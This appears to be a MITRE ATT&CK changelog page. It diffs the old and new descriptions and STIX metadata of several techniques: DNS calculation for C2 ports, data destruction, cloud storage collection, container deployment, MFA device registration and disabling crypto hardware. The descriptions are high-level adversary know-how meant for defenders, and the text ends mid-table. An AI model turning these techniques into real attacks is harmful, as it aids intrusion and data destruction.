| > | or port number calculation can be used to bypass egress filt | > | /or port number calculation can be used to bypass egress fil | ||
| > | ering on a C2 channel.(Citation: Meyers Numbered Panda) One | > | tering on a C2 channel.(Citation: Meyers Numbered Panda) On | ||
| > | implementation of [DNS Calculation](https://attack.mitre.or | > | e implementation of [DNS Calculation](https://attack.mitre.o | ||
| > | g/techniques/T1568/003) is to take the first three octets of | > | rg/techniques/T1568/003) is to take the first three octets o | ||
| > | an IP address in a DNS response and use those values to cal | > | f an IP address in a DNS response and use those values to ca | ||
| > | culate the port for command and control traffic.(Citation: M | > | lculate the port for command and control traffic.(Citation: | ||
| > | eyers Numbered Panda)(Citation: Moran 2014)(Citation: Rapid7 | > | Meyers Numbered Panda)(Citation: Moran 2014)(Citation: Rapid | ||
| > | G20Espionage) | > | 7G20Espionage) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.673000+00:00 | 2026-11-03 22:01:02.917000+00:00 |
| description | Adversaries may perform calculations on addresses returned in DNS results to determine which port and IP address to use for command and control, rather than relying on a predetermined port number or the actual returned IP address. A IP and/or port number calculation can be used to bypass egress filtering on a C2 channel.(Citation: Meyers Numbered Panda) One implementation of [DNS Calculation](https://attack.mitre.org/techniques/T1568/003) is to take the first three octets of an IP address in a DNS response and use those values to calculate the port for command and control traffic.(Citation: Meyers Numbered Panda)(Citation: Moran 2014)(Citation: Rapid7G20Espionage) | Adversaries may perform calculations on addresses returned in DNS results to determine which port and IP address to use for command and control, rather than relying on a predetermined port number or the actual returned IP address. An IP and/or port number calculation can be used to bypass egress filtering on a C2 channel.(Citation: Meyers Numbered Panda) One implementation of [DNS Calculation](https://attack.mitre.org/techniques/T1568/003) is to take the first three octets of an IP address in a DNS response and use those values to calculate the port for command and control traffic.(Citation: Meyers Numbered Panda)(Citation: Moran 2014)(Citation: Rapid7G20Espionage) |
Current version: 1.4
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may destroy data and files on specific systems o | t | 1 | Adversaries may destroy data and files on specific systems o |
| > | r in large numbers on a network to interrupt availability to | > | r in large numbers on a network to interrupt availability to | ||
| > | systems, services, and network resources. Data destruction | > | systems, services, and network resources. Data destruction | ||
| > | is likely to render stored data irrecoverable by forensic te | > | is likely to render stored data irrecoverable by forensic te | ||
| > | chniques through overwriting files or data on local and remo | > | chniques through overwriting files or data on local and remo | ||
| > | te drives.(Citation: Symantec Shamoon 2012)(Citation: FireEy | > | te drives.(Citation: Symantec Shamoon 2012)(Citation: FireEy | ||
| > | e Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Ci | > | e Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Ci | ||
| > | tation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon | > | tation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon | ||
| > | 3 2018)(Citation: Talos Olympic Destroyer 2018) Common opera | > | 3 2018)(Citation: Talos Olympic Destroyer 2018) Common opera | ||
| > | ting system file deletion commands such as <code>del</code> | > | ting system file deletion commands such as <code>del</code> | ||
| > | and <code>rm</code> often only remove pointers to files with | > | and <code>rm</code> often only remove pointers to files with | ||
| > | out wiping the contents of the files themselves, making the | > | out wiping the contents of the files themselves, making the | ||
| > | files recoverable by proper forensic methodology. This behav | > | files recoverable by proper forensic methodology. This behav | ||
| > | ior is distinct from [Disk Content Wipe](https://attack.mitr | > | ior is distinct from [Disk Content Wipe](https://attack.mitr | ||
| > | e.org/techniques/T1561/001) and [Disk Structure Wipe](https: | > | e.org/techniques/T1561/001) and [Disk Structure Wipe](https: | ||
| > | //attack.mitre.org/techniques/T1561/002) because individual | > | //attack.mitre.org/techniques/T1561/002) because individual | ||
| > | files are destroyed rather than sections of a storage disk o | > | files are destroyed rather than sections of a storage disk o | ||
| > | r the disk's logical structure. Adversaries may attempt to | > | r the disk's logical structure. Adversaries may attempt to | ||
| > | overwrite files and directories with randomly generated data | > | overwrite files and directories with randomly generated data | ||
| > | to make it irrecoverable.(Citation: Kaspersky StoneDrill 20 | > | to make it irrecoverable.(Citation: Kaspersky StoneDrill 20 | ||
| > | 17)(Citation: Unit 42 Shamoon3 2018) In some cases political | > | 17)(Citation: Unit 42 Shamoon3 2018) In some cases political | ||
| > | ly oriented image files have been used to overwrite data.(Ci | > | ly oriented image files have been used to overwrite data.(Ci | ||
| > | tation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoo | > | tation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoo | ||
| > | n Nov 2016)(Citation: Kaspersky StoneDrill 2017) To maximiz | > | n Nov 2016)(Citation: Kaspersky StoneDrill 2017) To maximiz | ||
| > | e impact on the target organization in operations where netw | > | e impact on the target organization in operations where netw | ||
| > | ork-wide availability interruption is the goal, malware desi | > | ork-wide availability interruption is the goal, malware desi | ||
| > | gned for destroying data may have worm-like features to prop | > | gned for destroying data may have worm-like features to prop | ||
| > | agate across a network by leveraging additional techniques l | > | agate across a network by leveraging additional techniques l | ||
| > | ike [Valid Accounts](https://attack.mitre.org/techniques/T10 | > | ike [Valid Accounts](https://attack.mitre.org/techniques/T10 | ||
| > | 78), [OS Credential Dumping](https://attack.mitre.org/techni | > | 78), [OS Credential Dumping](https://attack.mitre.org/techni | ||
| > | ques/T1003), and [SMB/Windows Admin Shares](https://attack.m | > | ques/T1003), and [SMB/Windows Admin Shares](https://attack.m | ||
| > | itre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2 | > | itre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2 | ||
| > | 012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto | > | 012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto | ||
| > | Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Cita | > | Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Cita | ||
| > | tion: Talos Olympic Destroyer 2018). In cloud environments, | > | tion: Talos Olympic Destroyer 2018) In cloud environments, | ||
| > | adversaries may leverage access to delete cloud storage obj | > | adversaries may leverage access to delete cloud storage obje | ||
| > | ects, machine images, database instances, and other infrastr | > | cts, machine images, database instances, and other infrastru | ||
| > | ucture crucial to operations to damage an organization or th | > | cture crucial to operations to damage an organization or the | ||
| > | eir customers.(Citation: Data Destruction - Threat Post)(Cit | > | ir customers.(Citation: Data Destruction - Threat Post)(Cita | ||
| > | ation: DOJ - Cisco Insider) Similarly, they may delete virt | > | tion: DOJ - Cisco Insider) Similarly, they may delete virtu | ||
| > | ual machines from on-prem virtualized environments. | > | al machines from on-prem virtualized environments. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.717000+00:00 | 2026-11-03 23:42:40.660000+00:00 |
| description | Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as del and rm often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.
Adversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)
To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018).
In cloud environments, adversaries may leverage access to delete cloud storage objects, machine images, database instances, and other infrastructure crucial to operations to damage an organization or their customers.(Citation: Data Destruction - Threat Post)(Citation: DOJ - Cisco Insider) Similarly, they may delete virtual machines from on-prem virtualized environments. | Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as del and rm often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.
Adversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)
To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018)
In cloud environments, adversaries may leverage access to delete cloud storage objects, machine images, database instances, and other infrastructure crucial to operations to damage an organization or their customers.(Citation: Data Destruction - Threat Post)(Citation: DOJ - Cisco Insider) Similarly, they may delete virtual machines from on-prem virtualized environments. |
Current version: 2.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may access data from cloud storage. Many IaaS p | t | 1 | Adversaries may access data from cloud storage. Many IaaS p |
| > | roviders offer solutions for online data object storage such | > | roviders offer solutions for online data object storage such | ||
| > | as Amazon S3, Azure Storage, and Google Cloud Storage. Simi | > | as Amazon S3, Azure Storage, and Google Cloud Storage. Simi | ||
| > | larly, SaaS enterprise platforms such as Office 365 and Goog | > | larly, SaaS enterprise platforms such as Office 365 and Goog | ||
| > | le Workspace provide cloud-based document storage to users t | > | le Workspace provide cloud-based document storage to users t | ||
| > | hrough services such as OneDrive and Google Drive, while Saa | > | hrough services such as OneDrive and Google Drive, while Saa | ||
| > | S application providers such as Slack, Confluence, Salesforc | > | S application providers such as Slack, Confluence, Salesforc | ||
| > | e, and Dropbox may provide cloud storage solutions as a peri | > | e, and Dropbox may provide cloud storage solutions as a peri | ||
| > | pheral or primary use case of their platform. In some case | > | pheral or primary use case of their platform. In some case | ||
| > | s, as with IaaS-based cloud storage, there exists no overarc | > | s, as with IaaS-based cloud storage, there exists no overarc | ||
| > | hing application (such as SQL or Elasticsearch) with which t | > | hing application (such as SQL or Elasticsearch) with which t | ||
| > | o interact with the stored objects: instead, data from these | > | o interact with the stored objects: instead, data from these | ||
| > | solutions is retrieved directly though the [Cloud API](http | > | solutions is retrieved directly through the [Cloud API](htt | ||
| > | s://attack.mitre.org/techniques/T1059/009). In SaaS applicat | > | ps://attack.mitre.org/techniques/T1059/009). In SaaS applica | ||
| > | ions, adversaries may be able to collect this data directly | > | tions, adversaries may be able to collect this data directly | ||
| > | from APIs or backend cloud storage objects, rather than thro | > | from APIs or backend cloud storage objects, rather than thr | ||
| > | ugh their front-end application or interface (i.e., [Data fr | > | ough their front-end application or interface (i.e., [Data f | ||
| > | om Information Repositories](https://attack.mitre.org/techni | > | rom Information Repositories](https://attack.mitre.org/techn | ||
| > | ques/T1213)). Adversaries may collect sensitive data from | > | iques/T1213)). Adversaries may collect sensitive data from | ||
| > | these cloud storage solutions. Providers typically offer sec | > | these cloud storage solutions. Providers typically offer se | ||
| > | urity guides to help end users configure systems, though mis | > | curity guides to help end users configure systems, though mi | ||
| > | configurations are a common problem.(Citation: Amazon S3 Sec | > | sconfigurations are a common problem.(Citation: Amazon S3 Se | ||
| > | urity, 2019)(Citation: Microsoft Azure Storage Security, 201 | > | curity, 2019)(Citation: Microsoft Azure Storage Security, 20 | ||
| > | 9)(Citation: Google Cloud Storage Best Practices, 2019) Ther | > | 19)(Citation: Google Cloud Storage Best Practices, 2019) The | ||
| > | e have been numerous incidents where cloud storage has been | > | re have been numerous incidents where cloud storage has been | ||
| > | improperly secured, typically by unintentionally allowing pu | > | improperly secured, typically by unintentionally allowing p | ||
| > | blic access to unauthenticated users, overly-broad access by | > | ublic access to unauthenticated users, overly-broad access b | ||
| > | all users, or even access for any anonymous person outside | > | y all users, or even access for any anonymous person outside | ||
| > | the control of the Identity Access Management system without | > | the control of the Identity Access Management system withou | ||
| > | even needing basic user permissions. This open access may | > | t even needing basic user permissions. This open access may | ||
| > | expose various types of sensitive data, such as credit cards | > | expose various types of sensitive data, such as credit card | ||
| > | , personally identifiable information, or medical records.(C | > | s, personally identifiable information, or medical records.( | ||
| > | itation: Trend Micro S3 Exposed PII, 2017)(Citation: Wired M | > | Citation: Trend Micro S3 Exposed PII, 2017)(Citation: Wired | ||
| > | agecart S3 Buckets, 2019)(Citation: HIPAA Journal S3 Breach, | > | Magecart S3 Buckets, 2019)(Citation: HIPAA Journal S3 Breach | ||
| > | 2017)(Citation: Rclone-mega-extortion_05_2021) Adversaries | > | , 2017)(Citation: Rclone-mega-extortion_05_2021) Adversarie | ||
| > | may also obtain then abuse leaked credentials from source r | > | s may also obtain then abuse leaked credentials from source | ||
| > | epositories, logs, or other means as a way to gain access to | > | repositories, logs, or other means as a way to gain access t | ||
| > | cloud storage objects. | > | o cloud storage objects. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.624000+00:00 | 2026-11-03 21:36:19.339000+00:00 |
| description | Adversaries may access data from cloud storage. Many IaaS providers offer solutions for online data object storage such as Amazon S3, Azure Storage, and Google Cloud Storage. Similarly, SaaS enterprise platforms such as Office 365 and Google Workspace provide cloud-based document storage to users through services such as OneDrive and Google Drive, while SaaS application providers such as Slack, Confluence, Salesforce, and Dropbox may provide cloud storage solutions as a peripheral or primary use case of their platform. In some cases, as with IaaS-based cloud storage, there exists no overarching application (such as SQL or Elasticsearch) with which to interact with the stored objects: instead, data from these solutions is retrieved directly though the [Cloud API](https://attack.mitre.org/techniques/T1059/009). In SaaS applications, adversaries may be able to collect this data directly from APIs or backend cloud storage objects, rather than through their front-end application or interface (i.e., [Data from Information Repositories](https://attack.mitre.org/techniques/T1213)). Adversaries may collect sensitive data from these cloud storage solutions. Providers typically offer security guides to help end users configure systems, though misconfigurations are a common problem.(Citation: Amazon S3 Security, 2019)(Citation: Microsoft Azure Storage Security, 2019)(Citation: Google Cloud Storage Best Practices, 2019) There have been numerous incidents where cloud storage has been improperly secured, typically by unintentionally allowing public access to unauthenticated users, overly-broad access by all users, or even access for any anonymous person outside the control of the Identity Access Management system without even needing basic user permissions. This open access may expose various types of sensitive data, such as credit cards, personally identifiable information, or medical records.(Citation: Trend Micro S3 Exposed PII, 2017)(Citation: Wired Magecart S3 Buckets, 2019)(Citation: HIPAA Journal S3 Breach, 2017)(Citation: Rclone-mega-extortion_05_2021) Adversaries may also obtain then abuse leaked credentials from source repositories, logs, or other means as a way to gain access to cloud storage objects. | Adversaries may access data from cloud storage. Many IaaS providers offer solutions for online data object storage such as Amazon S3, Azure Storage, and Google Cloud Storage. Similarly, SaaS enterprise platforms such as Office 365 and Google Workspace provide cloud-based document storage to users through services such as OneDrive and Google Drive, while SaaS application providers such as Slack, Confluence, Salesforce, and Dropbox may provide cloud storage solutions as a peripheral or primary use case of their platform. In some cases, as with IaaS-based cloud storage, there exists no overarching application (such as SQL or Elasticsearch) with which to interact with the stored objects: instead, data from these solutions is retrieved directly through the [Cloud API](https://attack.mitre.org/techniques/T1059/009). In SaaS applications, adversaries may be able to collect this data directly from APIs or backend cloud storage objects, rather than through their front-end application or interface (i.e., [Data from Information Repositories](https://attack.mitre.org/techniques/T1213)). Adversaries may collect sensitive data from these cloud storage solutions. Providers typically offer security guides to help end users configure systems, though misconfigurations are a common problem.(Citation: Amazon S3 Security, 2019)(Citation: Microsoft Azure Storage Security, 2019)(Citation: Google Cloud Storage Best Practices, 2019) There have been numerous incidents where cloud storage has been improperly secured, typically by unintentionally allowing public access to unauthenticated users, overly-broad access by all users, or even access for any anonymous person outside the control of the Identity Access Management system without even needing basic user permissions. This open access may expose various types of sensitive data, such as credit cards, personally identifiable information, or medical records.(Citation: Trend Micro S3 Exposed PII, 2017)(Citation: Wired Magecart S3 Buckets, 2019)(Citation: HIPAA Journal S3 Breach, 2017)(Citation: Rclone-mega-extortion_05_2021) Adversaries may also obtain then abuse leaked credentials from source repositories, logs, or other means as a way to gain access to cloud storage objects. |
Current version: 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may deploy a container into an environment to fa | t | 1 | Adversaries may deploy a container into an environment to fa |
| > | cilitate execution or evade defenses. In some cases, adversa | > | cilitate execution or evade defenses. In some cases, adversa | ||
| > | ries may deploy a new container to execute processes associa | > | ries may deploy a new container to execute processes associa | ||
| > | ted with a particular image or deployment, such as processes | > | ted with a particular image or deployment, such as processes | ||
| > | that execute or download malware. In others, an adversary m | > | that execute or download malware. In others, an adversary m | ||
| > | ay deploy a new container configured without network rules, | > | ay deploy a new container configured without network rules, | ||
| > | user limitations, etc. to bypass existing defenses within th | > | user limitations, etc. to bypass existing defenses within th | ||
| > | e environment. In Kubernetes environments, an adversary may | > | e environment. In Kubernetes environments, an adversary may | ||
| > | attempt to deploy a privileged or vulnerable container into | > | attempt to deploy a privileged or vulnerable container into | ||
| > | a specific node in order to [Escape to Host](https://attack. | > | a specific node in order to [Escape to Host](https://attack. | ||
| > | mitre.org/techniques/T1611) and access other containers runn | > | mitre.org/techniques/T1611) and access other containers runn | ||
| > | ing on the node. (Citation: AppSecco Kubernetes Namespace Br | > | ing on the node.(Citation: AppSecco Kubernetes Namespace Bre | ||
| > | eakout 2020) Containers can be deployed by various means, s | > | akout 2020) Containers can be deployed by various means, su | ||
| > | uch as via Docker's <code>create</code> and <code>start</cod | > | ch as via Docker's <code>create</code> and <code>start</code | ||
| > | e> APIs or via a web application such as the Kubernetes dash | > | > APIs or via a web application such as the Kubernetes dashb | ||
| > | board or Kubeflow. (Citation: Docker Container)(Citation: Ku | > | oard or Kubeflow.(Citation: Docker Container)(Citation: Kube | ||
| > | bernetes Dashboard)(Citation: Kubeflow Pipelines) In Kuberne | > | rnetes Dashboard)(Citation: Kubeflow Pipelines) In Kubernete | ||
| > | tes environments, containers may be deployed through workloa | > | s environments, containers may be deployed through workloads | ||
| > | ds such as ReplicaSets or DaemonSets, which can allow contai | > | such as ReplicaSets or DaemonSets, which can allow containe | ||
| > | ners to be deployed across multiple nodes.(Citation: Kuberne | > | rs to be deployed across multiple nodes.(Citation: Kubernete | ||
| > | tes Workload Management) Adversaries may deploy containers b | > | s Workload Management) Adversaries may deploy containers bas | ||
| > | ased on retrieved or built malicious images or from benign i | > | ed on retrieved or built malicious images or from benign ima | ||
| > | mages that download and execute malicious payloads at runtim | > | ges that download and execute malicious payloads at runtime. | ||
| > | e.(Citation: Aqua Build Images on Hosts) | > | (Citation: Aqua Build Images on Hosts) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.634000+00:00 | 2026-07-22 14:49:20.083000+00:00 |
| description | Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment. In Kubernetes environments, an adversary may attempt to deploy a privileged or vulnerable container into a specific node in order to [Escape to Host](https://attack.mitre.org/techniques/T1611) and access other containers running on the node. (Citation: AppSecco Kubernetes Namespace Breakout 2020)
Containers can be deployed by various means, such as via Docker's create and start APIs or via a web application such as the Kubernetes dashboard or Kubeflow. (Citation: Docker Container)(Citation: Kubernetes Dashboard)(Citation: Kubeflow Pipelines) In Kubernetes environments, containers may be deployed through workloads such as ReplicaSets or DaemonSets, which can allow containers to be deployed across multiple nodes.(Citation: Kubernetes Workload Management) Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.(Citation: Aqua Build Images on Hosts) | Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment. In Kubernetes environments, an adversary may attempt to deploy a privileged or vulnerable container into a specific node in order to [Escape to Host](https://attack.mitre.org/techniques/T1611) and access other containers running on the node.(Citation: AppSecco Kubernetes Namespace Breakout 2020)
Containers can be deployed by various means, such as via Docker's create and start APIs or via a web application such as the Kubernetes dashboard or Kubeflow.(Citation: Docker Container)(Citation: Kubernetes Dashboard)(Citation: Kubeflow Pipelines) In Kubernetes environments, containers may be deployed through workloads such as ReplicaSets or DaemonSets, which can allow containers to be deployed across multiple nodes.(Citation: Kubernetes Workload Management) Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.(Citation: Aqua Build Images on Hosts) |
Current version: 1.4
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may register a device to an adversary-controlled | t | 1 | Adversaries may register a device to an adversary-controlled |
| > | account. Devices may be registered in a multifactor authent | > | account. Devices may be registered in a multifactor authent | ||
| > | ication (MFA) system, which handles authentication to the ne | > | ication (MFA) system, which handles authentication to the ne | ||
| > | twork, or in a device management system, which handles devic | > | twork, or in a device management system, which handles devic | ||
| > | e access and compliance. MFA systems, such as Duo or Okta, | > | e access and compliance. MFA systems, such as Duo or Okta, | ||
| > | allow users to associate devices with their accounts in orde | > | allow users to associate devices with their accounts in orde | ||
| > | r to complete MFA requirements. An adversary that compromise | > | r to complete MFA requirements. An adversary that compromise | ||
| > | s a user’s credentials may enroll a new device in order to b | > | s a user’s credentials may enroll a new device in order to b | ||
| > | ypass initial MFA requirements and gain persistent access to | > | ypass initial MFA requirements and gain persistent access to | ||
| > | a network.(Citation: CISA MFA PrintNightmare)(Citation: Dar | > | a network.(Citation: CISA MFA PrintNightmare)(Citation: Dar | ||
| > | kReading FireEye SolarWinds) In some cases, the MFA self-enr | > | kReading FireEye SolarWinds) In some cases, the MFA self-enr | ||
| > | ollment process may require only a username and password to | > | ollment process may require only a username and password to | ||
| > | enroll the account's first device or to enroll a device to a | > | enroll the account's first device or to enroll a device to a | ||
| > | n inactive account. (Citation: Mandiant APT29 Microsoft 365 | > | n inactive account.(Citation: Mandiant APT29 Microsoft 365 2 | ||
| > | 2022) Similarly, an adversary with existing access to a net | > | 022) Similarly, an adversary with existing access to a netw | ||
| > | work may register a device or a virtual machine to Entra ID | > | ork may register a device or a virtual machine to Entra ID a | ||
| > | and/or its device management system, Microsoft Intune, in or | > | nd/or its device management system, Microsoft Intune, in ord | ||
| > | der to access sensitive data or resources while bypassing co | > | er to access sensitive data or resources while bypassing con | ||
| > | nditional access policies.(Citation: AADInternals - Device R | > | ditional access policies.(Citation: AADInternals - Device Re | ||
| > | egistration)(Citation: AADInternals - Conditional Access Byp | > | gistration)(Citation: AADInternals - Conditional Access Bypa | ||
| > | ass)(Citation: Microsoft DEV-0537)(Citation: Expel Atlas Lio | > | ss)(Citation: Microsoft DEV-0537)(Citation: Expel Atlas Lion | ||
| > | n 2025) Devices registered in Entra ID may be able to condu | > | 2025) Devices registered in Entra ID may be able to conduc | ||
| > | ct [Internal Spearphishing](https://attack.mitre.org/techniq | > | t [Internal Spearphishing](https://attack.mitre.org/techniqu | ||
| > | ues/T1534) campaigns via intra-organizational emails, which | > | es/T1534) campaigns via intra-organizational emails, which a | ||
| > | are less likely to be treated as suspicious by the email cli | > | re less likely to be treated as suspicious by the email clie | ||
| > | ent.(Citation: Microsoft - Device Registration) Additionally | > | nt.(Citation: Microsoft - Device Registration) Additionally, | ||
| > | , an adversary may be able to perform a [Service Exhaustion | > | an adversary may be able to perform a [Service Exhaustion F | ||
| > | Flood](https://attack.mitre.org/techniques/T1499/002) on an | > | lood](https://attack.mitre.org/techniques/T1499/002) on an E | ||
| > | Entra ID tenant by registering a large number of devices.(Ci | > | ntra ID tenant by registering a large number of devices.(Cit | ||
| > | tation: AADInternals - BPRT) | > | ation: AADInternals - BPRT) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-05-22 21:02:06.575000+00:00 | 2026-11-04 00:26:40.597000+00:00 |
| description | Adversaries may register a device to an adversary-controlled account. Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance. MFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user’s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading FireEye SolarWinds) In some cases, the MFA self-enrollment process may require only a username and password to enroll the account's first device or to enroll a device to an inactive account. (Citation: Mandiant APT29 Microsoft 365 2022) Similarly, an adversary with existing access to a network may register a device or a virtual machine to Entra ID and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.(Citation: AADInternals - Device Registration)(Citation: AADInternals - Conditional Access Bypass)(Citation: Microsoft DEV-0537)(Citation: Expel Atlas Lion 2025) Devices registered in Entra ID may be able to conduct [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client.(Citation: Microsoft - Device Registration) Additionally, an adversary may be able to perform a [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002) on an Entra ID tenant by registering a large number of devices.(Citation: AADInternals - BPRT) | Adversaries may register a device to an adversary-controlled account. Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance. MFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user’s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading FireEye SolarWinds) In some cases, the MFA self-enrollment process may require only a username and password to enroll the account's first device or to enroll a device to an inactive account.(Citation: Mandiant APT29 Microsoft 365 2022) Similarly, an adversary with existing access to a network may register a device or a virtual machine to Entra ID and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.(Citation: AADInternals - Device Registration)(Citation: AADInternals - Conditional Access Bypass)(Citation: Microsoft DEV-0537)(Citation: Expel Atlas Lion 2025) Devices registered in Entra ID may be able to conduct [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client.(Citation: Microsoft - Device Registration) Additionally, an adversary may be able to perform a [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002) on an Entra ID tenant by registering a large number of devices.(Citation: AADInternals - BPRT) |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
Current version: 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries disable a network device’s dedicated hardware en | t | 1 | Adversaries disable a network device’s dedicated hardware en |
| > | cryption, which may enable them to leverage weaknesses in so | > | cryption, which may enable them to leverage weaknesses in so | ||
| > | ftware encryption in order to reduce the effort involved in | > | ftware encryption in order to reduce the effort involved in | ||
| > | collecting, manipulating, and exfiltrating transmitted data. | > | collecting, manipulating, and exfiltrating transmitted data. | ||
| > | Many network devices such as routers, switches, and firewa | > | Many network devices such as routers, switches, and firewa | ||
| > | lls, perform encryption on network traffic to secure transmi | > | lls, perform encryption on network traffic to secure transmi | ||
| > | ssion across networks. Often, these devices are equipped wit | > | ssion across networks. Often, these devices are equipped wit | ||
| > | h special, dedicated encryption hardware to greatly increase | > | h special, dedicated encryption hardware to greatly increase | ||
| > | the speed of the encryption process as well as to prevent m | > | the speed of the encryption process as well as to prevent m | ||
| > | alicious tampering. When an adversary takes control of such | > | alicious tampering. When an adversary takes control of such | ||
| > | a device, they may disable the dedicated hardware, for examp | > | a device, they may disable the dedicated hardware, for examp | ||
| > | le, through use of [Modify System Image](https://attack.mitr | > | le, through use of [Modify System Image](https://attack.mitr | ||
| > | e.org/techniques/T1601), forcing the use of software to perf | > | e.org/techniques/T1601), forcing the use of software to perf | ||
| > | orm encryption on general processors. This is typically used | > | orm encryption on general processors. This is typically used | ||
| > | in conjunction with attacks to weaken the strength of the c | > | in conjunction with attacks to weaken the strength of the c | ||
| > | ipher in software (e.g., [Reduce Key Space](https://attack.m | > | ipher in software (e.g., [Reduce Key Space](https://attack.m | ||
| > | itre.org/techniques/T1600/001)). (Citation: Cisco Blog Legac | > | itre.org/techniques/T1600/001)).(Citation: Cisco Blog Legacy | ||
| > | y Device Attacks) | > | Device Attacks) | ||
| STIX Field | Old value | New Value |
